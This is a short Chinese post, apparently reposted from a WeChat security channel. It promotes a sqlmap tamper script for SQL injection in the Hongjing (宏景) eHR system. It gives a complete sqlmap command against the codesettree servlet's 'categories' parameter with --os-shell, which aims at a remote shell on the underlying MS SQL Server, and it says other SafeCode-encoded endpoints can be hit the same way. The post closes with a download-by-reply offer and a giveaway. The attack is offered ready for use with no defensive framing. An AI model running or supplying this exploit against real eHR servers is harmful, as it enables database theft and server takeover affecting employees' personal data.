宏景ehr sql注入的tamper脚本（sqlmap使用）

===================================

将该脚本ehr_SafeCodeEncode_tamper.py放在sqlmap/tamper/目录下

，使用命令开始注入

python3 sqlmap.py -u "http://x.x.x.x/servlet/codesettree?categories=1&codesetid=1&flag=c&parentid=-1&status=1"  -p categories --dbms="Microsoft SQL Server" --tamper ehr_SafeCodeEncode_tamper  --os-shell --level 3

注：其他注入点如果也通过SafeCode.encode方法编码的话，也可以利用该脚本进行注入。SafeCode.py只实现了编码和解码，请自行调用。

0x03 项目链接下载

2、后台回复：工具，获取网盘链接，仅当天有效

0x04 每日送书福利

1、送书规则

原文始发于微信公众号（网络安全者）：宏景ehr sql注入的tamper脚本（sqlmap使用）